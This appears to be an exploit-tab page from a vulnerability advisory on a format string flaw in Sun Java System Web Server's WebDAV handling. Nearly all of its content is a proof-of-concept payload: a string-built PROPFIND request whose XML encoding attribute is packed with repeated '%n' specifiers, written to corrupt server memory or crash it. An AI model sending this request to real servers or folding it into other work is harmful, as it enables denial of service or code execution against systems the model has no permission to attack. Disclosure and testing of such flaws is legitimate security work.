• info
• discussion
• exploit
• solution
• references

Sun Java System Web Server WebDAV Format String Vulnerability

The following example request is available:

s="PROPFIND /pages/ HTTP/1.1\n" # WebDAV URI
s+="Host: localhost\n"
s+="Depth: 0\n"
s+="Content-Length: 58\n"
s+="Content-Type: application/xml\n\n"
s+="<?xml version=\"1.0\" encoding=\"utf-%n%n%n%n%n%n%n%n%n%n\"?>"